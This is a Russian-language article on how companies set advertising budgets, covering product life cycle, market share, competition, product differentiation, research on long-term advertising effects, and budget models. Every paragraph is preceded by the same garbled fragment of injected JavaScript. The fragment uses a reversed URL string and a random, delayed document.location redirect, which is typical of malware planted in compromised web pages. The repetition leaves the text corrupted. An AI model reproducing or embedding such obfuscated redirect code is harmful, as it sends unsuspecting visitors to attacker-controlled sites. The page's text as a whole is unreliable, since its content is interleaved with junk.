Особенности рекламы

tobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to»>После определения рекламных целей компания устанавливает рекламный бюджет для каждого продукта. Роль рекламы заключается в создании спроса на конкретный продукт, и компания хочет потратить столько, сколько необходимо для достижения запланированных продаж. Вывеска для магазина очень поможет вам в рекламе.

tobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to»>Вот некоторые конкретные факторы, которые следует учитывать при составлении этого бюджета : 

tobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to»>Стадия жизненного цикла продукта. Обычно новые продукты требуют постоянного рекламного бюджета, чтобы информировать потребителей об их существовании и заставлять их опробовать их. Для зрелых брендов обычно требуются меньшие бюджеты, рассчитываемые как процент от продажной стоимости. 

tobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to»>Доля рынка. Как правило, бренды с более высокой долей рынка требуют более высоких затрат на рекламу, чем бренды с более низкой долей рынка. Соответствующие расходы могут быть рассчитаны как процент от продажной стоимости. Создание рынка или завоевание доли рынка в ущерб конкурентам требует более высоких затрат на рекламу, чем поддержание текущей доли. 

tobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to»>Конкуренция и заторы. На рынке, где много конкурентов, которые много тратят на рекламу, необходимо более устойчиво продвигать бренд, чтобы его заметили на рыночном шуме. 

tobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to»>Частота рекламных акций. Если для презентации сообщения бренда потребителям требуется, чтобы оно транслировалось более одного раза, рекламный бюджет должен быть выше. 

tobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to»>Дифференциация продукта. Бренд, который похож на другие бренды того же класса продуктов (молотый кофе, моющие средства, жевательная резинка, пиво, безалкогольные напитки), требует более высоких затрат на рекламу, чтобы отличать его от других брендов. На румынском рынке реклама моющих средств составляет 10% от общего количества. Когда продукт сильно отличается от продукта конкурентов, может использоваться реклама, чтобы подчеркнуть эти различия. 

tobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to»>Установить рекламный бюджет — непростая задача. Как компания узнает, что тратит правильную сумму? Некоторые критики утверждают, что крупные компании по производству фасованных потребительских товаров, как правило, тратят на рекламу больше, чем следовало бы, в то время как компании, производящие промышленные товары, обычно тратят на эту деятельность меньше. Они также говорят, что компании первой категории в основном используют имиджевую рекламу, не зная о ее последствиях, тратя больше, чем необходимо, только для того, чтобы убедиться, что они потратили достаточно. Кроме того, бюджет этих компаний устанавливается на основе традиционных правил, таких как «насколько компания может себе позволить» или «нормальное соотношение между расходами на рекламу и продажами на уровне филиалов», правила, которые имеют низкую местную силу. В отличие от этого, компании, производящие промышленные товары, склонны слишком полагаться на своих собственных продавцов, когда дело доходит до получения заказов, недооценивая потенциал компании и имидж продукта с точки зрения подготовки продаж промышленным потребителям. Таким образом, они недостаточно тратят на информирование покупателей. Но какое влияние реклама на самом деле оказывает на поведение покупателя и его лояльность к бренду? 

tobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to»>После исследования покупки товаров для дома для текущего использования был сделан неожиданный вывод: реклама кажется более эффективной, когда речь идет об увеличении объема товаров, приобретаемых лояльными покупателями, и менее эффективной для привлечения новых покупателей. В случае постоянных покупателей просмотр рекламы более одного раза в течение недели может оказаться непродуктивным из-за стабилизации эффективности рекламы. Кажется, что реклама не может иметь кумулятивного эффекта, ведущего к верности. Газетные статьи, выставки, но особенно цена имеют более сильное влияние на реакцию потребителей, чем реклама. Эти выводы не понравились специалистам по рекламе, некоторые из них оспаривали информацию, на которой было основано это исследование, а также использованную методологию. Они утверждали, что исследование в основном определяло влияние рекламы на краткосрочные продажи. Таким образом, предпочтение было отдано деятельности по продвижению цен и стимулированию продаж, которая, как правило, дает немедленный эффект. Напротив, для большей части рекламы требуется несколько месяцев или даже лет, чтобы бренд занял прочное положение на рынке и потребители стали к нему лояльны. Эти долгосрочные эффекты трудно определить. Недавние исследования,в котором информация использовалась в течение десяти лет, они пришли к выводу, что реклама по-прежнему приводит к увеличению долгосрочных продаж, даже через два года после окончания кампании. Это противоречие подчеркивает тот факт, что измерение результатов рекламы остается недостаточно изученной темой. 

tobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to»>Чтобы решить, сколько потратить на рекламу, компании могут использовать несколько моделей. Одна из моделей — модель, предложенная Видейлом и Вулфом. Рекламный бюджет, рассчитываемый на его основе, тем более согласован, чем выше отклик покупателей, чем легче они забывают и рекламируют соответствующий бренд или чем выше неиспользованный потенциал продаж. Но такая модель не учитывает рекламу конкурентов и эффективность рекламы компании. Используя модель адаптивного управления, компания экспериментирует с несколькими рекламными бюджетами разного размера, измеряя реакцию на продажи. Предполагая, что он установил определенный уровень рекламных расходов на основе последней информации о реакции продаж.Фирма поддерживает этот уровень расходов на всех своих рынках, за исключением подмножества двух случайно выбранных рынков.